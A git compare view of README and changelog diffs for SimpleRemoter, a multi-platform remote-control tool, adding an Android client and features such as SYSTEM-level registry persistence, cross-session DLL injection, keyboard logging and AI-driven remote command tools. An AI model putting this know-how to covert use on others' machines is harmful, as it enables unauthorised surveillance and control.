Compare commits
71 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b41b27bfe4 | ||
|
|
6bcd593b6d | ||
|
|
5c77f5ce14 | ||
|
|
ac2855198b | ||
|
|
52b4afb8cf | ||
|
|
35dc2d89a0 | ||
|
|
d99122b25f | ||
|
|
d55d40e7a2 | ||
|
|
25a6e2d07a | ||
|
|
18259b8526 | ||
|
|
f04d892ac8 | ||
|
|
c844ba7614 | ||
|
|
09018e2b4d | ||
|
|
6045baadb8 | ||
|
|
84e3565de1 | ||
|
|
70dbb6b255 | ||
|
|
0ddbc1aced | ||
|
|
8bd6f3b60a | ||
|
|
8815c4f896 | ||
|
|
8de5c00a39 | ||
|
|
d359148841 | ||
|
|
11e8b122fe | ||
|
|
0a1ecfc4ab | ||
|
|
c08315cd79 | ||
|
|
5611ba621c | ||
|
|
c6c6e1d5ef | ||
|
|
61089e5fae | ||
|
|
bcde74368d | ||
|
|
6ba6b0289d | ||
|
|
86c4f14cf4 | ||
|
|
13052b7cae | ||
|
|
43398e405e | ||
|
|
29929e48b2 | ||
|
|
d0bad75284 | ||
|
|
9d2e9ec8ca | ||
|
|
2d7f224a22 | ||
|
|
c8973282cb | ||
|
|
7bbc47a0ee | ||
|
|
eeacbe5d61 | ||
|
|
7c09e9dd8c | ||
|
|
d99510e46d | ||
|
|
b97f086c0c | ||
|
|
f24e7acc48 | ||
|
|
0cd7516bde | ||
|
|
a646e0417d | ||
|
|
23c9a4f242 | ||
|
|
85a5774a0f | ||
|
|
f2a95848ce | ||
|
|
f146af121a | ||
|
|
72dcdc5a6f | ||
|
|
8e170cf971 | ||
|
|
6d0b1bb07b | ||
|
|
bcccbefb77 | ||
|
|
92f6683fe1 | ||
|
|
d7408ad4df | ||
|
|
5296e534ed | ||
|
|
5a1430e904 | ||
|
|
218ee4f43d | ||
|
|
45553ec5b6 | ||
|
|
837d89c8b5 | ||
|
|
c1433b4b5d | ||
|
|
71963b740b | ||
|
|
5b37df26fd | ||
|
|
851fed4739 | ||
|
|
103123f533 | ||
|
|
66c950cecb | ||
|
|
91d4c0a523 | ||
|
|
abafd673a2 | ||
|
|
2765d95950 | ||
|
|
931492a294 | ||
|
|
d3b9e7faae |
1
.gitignore
vendored
@@ -95,3 +95,4 @@ server/go/web/assets/index.html
|
|||||||
server/go/users.json
|
server/go/users.json
|
||||||
server/go/build/
|
server/go/build/
|
||||||
server/go/.claude/settings.json
|
server/go/.claude/settings.json
|
||||||
|
android/app/.cxx/
|
||||||
|
|||||||
108
ReadMe.md
@@ -12,7 +12,7 @@
|
|||||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||||
@@ -94,6 +94,7 @@
|
|||||||
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
|
||||||
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
||||||
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
||||||
|
| **Android** (v1.3.7+) | ✅ 屏幕 + 触控/按键控制 | ❌ 不适用 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
|
|||||||
|
|
||||||
**编译**:`cd linux && cmake . && make`
|
**编译**:`cd linux && cmake . && make`
|
||||||
|
|
||||||
|
### Android 客户端(v1.3.7+)
|
||||||
|
|
||||||
|
**系统要求**:Android 5.0 (API 21) 及以上
|
||||||
|
|
||||||
|
| 功能 | 状态 | 实现 |
|
||||||
|
|---|---|---|
|
||||||
|
| 远程桌面 | ✅ | MediaProjection + MediaCodec H.264 硬件编码 |
|
||||||
|
| 触控/按键控制 | ✅ | AccessibilityService 注入,支持 D-pad 导航 |
|
||||||
|
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
|
| 设备分组 | ✅ | szGroupName 编译期 patch / 服务端动态修改 |
|
||||||
|
|
||||||
|
**生成客户端**:在主控 BuildDlg「生成」→ 选 `ghost - Google Android`,填入服务端 IP / 端口,生成 APK;使用 `android/sign_apk.bat` 重签后安装。
|
||||||
|
|
||||||
|
**编译**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
|
||||||
|
|
||||||
### macOS 客户端(v1.3.2+)
|
### macOS 客户端(v1.3.2+)
|
||||||
|
|
||||||
**系统要求**:
|
**系统要求**:
|
||||||
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
|
|||||||
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
|
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
|
||||||
└────────┬─────────────────┘
|
└────────┬─────────────────┘
|
||||||
│
|
│
|
||||||
┌──────────────┼──────────────┐
|
┌──────────────┼──────────────┬──────────────┐
|
||||||
▼ ▼ ▼
|
▼ ▼ ▼ ▼
|
||||||
┌─────────┐ ┌─────────┐ ┌─────────┐
|
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||||
│ Windows │ │ Linux │ │ macOS │
|
│ Windows │ │ Linux │ │ macOS │ │ Android │
|
||||||
│ 客户端 │ │ 客户端 │ │ 客户端 │
|
│ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │
|
||||||
│ (DXGI) │ │ (X11) │ │ (CG) │
|
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
|
||||||
└─────────┘ └─────────┘ └─────────┘
|
└─────────┘ └─────────┘ └─────────┘ └─────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
### 多层授权(简化视图)
|
### 多层授权(简化视图)
|
||||||
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
- **C++ 主控 & Windows 客户端**:VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
|
- **C++ 主控 & Windows 客户端**:VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
|
||||||
- **Linux 客户端**:`cd linux && cmake . && make`
|
- **Linux 客户端**:`cd linux && cmake . && make`
|
||||||
- **macOS 客户端**:`cd macos && ./build.sh`
|
- **macOS 客户端**:`cd macos && ./build.sh`
|
||||||
|
- **Android 客户端**:`cd android && ./build_apk.sh`(WSL/Linux)
|
||||||
- **Go 主控**:`cd server/go && go build ./cmd`
|
- **Go 主控**:`cd server/go && go build ./cmd`
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
|
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
|
||||||
|
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
|
||||||
|
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
|
||||||
|
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
|
||||||
|
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
|
||||||
|
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
|
||||||
|
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
|
||||||
|
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
|
||||||
|
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
|
||||||
|
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
|
||||||
|
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
|
||||||
|
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
|
||||||
|
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
|
||||||
|
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
|
||||||
|
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||||
|
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
|
||||||
|
|
||||||
|
### v1.3.8 (2026.8.3)
|
||||||
|
|
||||||
|
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **客户端 SYSTEM 权限运行**:双模式自动适配(SYSTEM / Admin / User),Winlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI,`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
|
||||||
|
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM(蓝色高亮)/ Admin / User,一眼识别受控端权限上下文
|
||||||
|
- **远程窗口管理菜单(View Windows)**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
|
||||||
|
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
|
||||||
|
- **客户端运行日志对话框**:`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-free;IOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
|
||||||
|
- **消息日志搜索栏**:`LogSearchBar` 组件(286 行),关键字高亮、Prev/Next 导航跳转、Clear 清除
|
||||||
|
- **调试菜单(YAMA_DBG)**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
|
||||||
|
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
|
||||||
|
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
|
||||||
|
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
|
||||||
|
|
||||||
|
### v1.3.7 (2026.6.26)
|
||||||
|
|
||||||
|
**Android 客户端 & 窗口捕获增强 & 安全加固**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **Android 客户端**:首个 Android 受控端,支持 Android 5.0+(arm64-v8a / armeabi-v7a),MediaProjection + MediaCodec H.264 推流;AccessibilityService 触控 / 按键注入;D-pad 焦点导航完整控制 TV / 机顶盒
|
||||||
|
- **设备分组**:编译期 patch 预设 / 服务端动态修改(`CMD_SET_GROUP`);分组名持久化至 `filesDir/yama_group`,App 重启后保留
|
||||||
|
- **APK 生成与重签**:BuildDlg 新增 `ghost - Google Android`,与 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自动检测 SDK 完成重签
|
||||||
|
- **服务端删除客户端**:BYE 指令后 Android Service 通过 JNI 正常停止
|
||||||
|
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
|
||||||
|
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
|
||||||
|
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
|
||||||
|
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
|
||||||
|
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- H264 模式跳过首帧 ~8MB 原始巨帧,服务端在首 IDR 帧后解锁画面
|
||||||
|
- 自适应尺寸渲染改进,减少尺寸切换抖动
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- `ARGBToNV12` 奇数尺寸窗口堆溢出(维度钳制到偶数对齐)
|
||||||
|
- 连接初始化时多余屏幕重启(客户端 `ScreenManager.cpp` + 服务端 `ScreenSpyDlg.cpp` 双端修复)
|
||||||
|
- 启动时内存 DLL 未正确还原
|
||||||
|
- 授权客户端键盘日志目录冲突(各实例使用独立目录)
|
||||||
|
|
||||||
### v1.3.6 (2026.6.14)
|
### v1.3.6 (2026.6.14)
|
||||||
|
|
||||||
**ROI 区域捕获 & Web 音频流 & 主界面可用性全面提升**
|
**ROI 区域捕获 & Web 音频流 & 主界面可用性全面提升**
|
||||||
|
|||||||
108
ReadMe_EN.md
@@ -12,7 +12,7 @@
|
|||||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||||
@@ -94,6 +94,7 @@ This release (v1.3.4) adds the last missing piece — the **Go master**: a **del
|
|||||||
| **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go |
|
| **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go |
|
||||||
| **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go |
|
| **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go |
|
||||||
| **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go |
|
| **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go |
|
||||||
|
| **Android** (v1.3.7+) | ✅ Screen + touch/key injection | ❌ N/A |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -206,6 +207,21 @@ Unless an offline license has been obtained, the master program exchanges necess
|
|||||||
|
|
||||||
**Build**: `cd linux && cmake . && make`
|
**Build**: `cd linux && cmake . && make`
|
||||||
|
|
||||||
|
### Android Client (v1.3.7+)
|
||||||
|
|
||||||
|
**Requirements**: Android 5.0 (API 21) or later
|
||||||
|
|
||||||
|
| Feature | Status | Implementation |
|
||||||
|
|---|---|---|
|
||||||
|
| Remote desktop | ✅ | MediaProjection + MediaCodec H.264 hardware encoding |
|
||||||
|
| Touch / key injection | ✅ | AccessibilityService, supports D-pad TV navigation |
|
||||||
|
| Heartbeat / RTT | ✅ | RFC 6298 RTT estimation |
|
||||||
|
| Device grouping | ✅ | Build-time patch or server-side `CMD_SET_GROUP`; persisted across restarts |
|
||||||
|
|
||||||
|
**Generate client**: In the master BuildDlg *Build* dialog, select `ghost - Google Android`, enter the server IP / port, and the APK is generated. Re-sign with `android/sign_apk.bat` before installing.
|
||||||
|
|
||||||
|
**Build**: in WSL or Linux — `cd android && ./build_apk.sh`
|
||||||
|
|
||||||
### macOS Client (v1.3.2+)
|
### macOS Client (v1.3.2+)
|
||||||
|
|
||||||
**Requirements**:
|
**Requirements**:
|
||||||
@@ -258,13 +274,13 @@ Unless an offline license has been obtained, the master program exchanges necess
|
|||||||
│ TCP (custom binary proto)│ TCP (devices) + WS (browsers)
|
│ TCP (custom binary proto)│ TCP (devices) + WS (browsers)
|
||||||
└────────┬─────────────────┘
|
└────────┬─────────────────┘
|
||||||
│
|
│
|
||||||
┌──────────────┼──────────────┐
|
┌──────────────┼──────────────┬──────────────┐
|
||||||
▼ ▼ ▼
|
▼ ▼ ▼ ▼
|
||||||
┌─────────┐ ┌─────────┐ ┌─────────┐
|
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||||
│ Windows │ │ Linux │ │ macOS │
|
│ Windows │ │ Linux │ │ macOS │ │ Android │
|
||||||
│ client │ │ client │ │ client │
|
│ client │ │ client │ │ client │ │ client │
|
||||||
│ (DXGI) │ │ (X11) │ │ (CG) │
|
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
|
||||||
└─────────┘ └─────────┘ └─────────┘
|
└─────────┘ └─────────┘ └─────────┘ └─────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
### Multi-Layer Authorization (simplified view)
|
### Multi-Layer Authorization (simplified view)
|
||||||
@@ -340,6 +356,7 @@ Valid : 2026-02-01 to 2028-02-01
|
|||||||
- **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64
|
- **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64
|
||||||
- **Linux client**: `cd linux && cmake . && make`
|
- **Linux client**: `cd linux && cmake . && make`
|
||||||
- **macOS client**: `cd macos && ./build.sh`
|
- **macOS client**: `cd macos && ./build.sh`
|
||||||
|
- **Android client**: `cd android && ./build_apk.sh` (WSL / Linux)
|
||||||
- **Go master**: `cd server/go && go build ./cmd`
|
- **Go master**: `cd server/go && go build ./cmd`
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -361,6 +378,81 @@ Valid : 2026-02-01 to 2028-02-01
|
|||||||
|
|
||||||
## Changelog
|
## Changelog
|
||||||
|
|
||||||
|
### v1.3.9 (2026.9.2)
|
||||||
|
|
||||||
|
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
|
||||||
|
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
|
||||||
|
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
|
||||||
|
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
|
||||||
|
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
|
||||||
|
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
|
||||||
|
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
|
||||||
|
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
|
||||||
|
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
|
||||||
|
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
|
||||||
|
- Icons added to three online-host context menu items (bitmap array 63→66)
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
|
||||||
|
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
|
||||||
|
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
|
||||||
|
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
|
||||||
|
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
|
||||||
|
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
|
||||||
|
|
||||||
|
### v1.3.8 (2026.8.3)
|
||||||
|
|
||||||
|
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
|
||||||
|
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
|
||||||
|
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
|
||||||
|
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
|
||||||
|
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
|
||||||
|
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
|
||||||
|
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
|
||||||
|
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
|
||||||
|
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
|
||||||
|
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
|
||||||
|
|
||||||
|
### v1.3.7 (2026.6.26)
|
||||||
|
|
||||||
|
**Android Client & Window Capture & Security Hardening**
|
||||||
|
|
||||||
|
**New features:**
|
||||||
|
- **Android client**: first Android controlled-side client, Android 5.0+ (arm64-v8a / armeabi-v7a); MediaProjection + MediaCodec H.264 streaming; AccessibilityService touch / key injection; D-pad focus navigation for full TV / set-top-box control
|
||||||
|
- **Device grouping**: group name embedded at build time via APK binary patch or changed live by the server (`CMD_SET_GROUP`); persisted to `filesDir/yama_group`, survives app restarts
|
||||||
|
- **APK build & re-sign**: BuildDlg adds `ghost - Google Android`, same workflow as Linux / macOS ghost; `sign_apk.bat` auto-detects SDK and re-signs
|
||||||
|
- **Clean exit on server delete**: BYE command triggers JNI `onNativeExit()` → `stopSelf()`
|
||||||
|
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
|
||||||
|
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
|
||||||
|
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
|
||||||
|
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
|
||||||
|
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
|
||||||
|
|
||||||
|
**Improvements:**
|
||||||
|
- H264 mode skips the initial ~8 MB raw first-frame; server unlocks display on the first IDR instead
|
||||||
|
- Adaptive-size rendering improvements, fewer dimension-change artifacts
|
||||||
|
|
||||||
|
**Bug fixes:**
|
||||||
|
- `ARGBToNV12` heap overflow on odd-sized windows (clamp dims to even-aligned width/height)
|
||||||
|
- Extra screen restarts on connection init (dual fix: client `ScreenManager.cpp` + server `ScreenSpyDlg.cpp`)
|
||||||
|
- Memory DLL not restored on client startup
|
||||||
|
- Authorization client keyboard log directory conflict (each instance gets its own directory)
|
||||||
|
|
||||||
### v1.3.6 (2026.6.14)
|
### v1.3.6 (2026.6.14)
|
||||||
|
|
||||||
**ROI region capture & Web audio streaming & master-UI usability overhaul**
|
**ROI region capture & Web audio streaming & master-UI usability overhaul**
|
||||||
|
|||||||
108
ReadMe_TW.md
@@ -12,7 +12,7 @@
|
|||||||
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
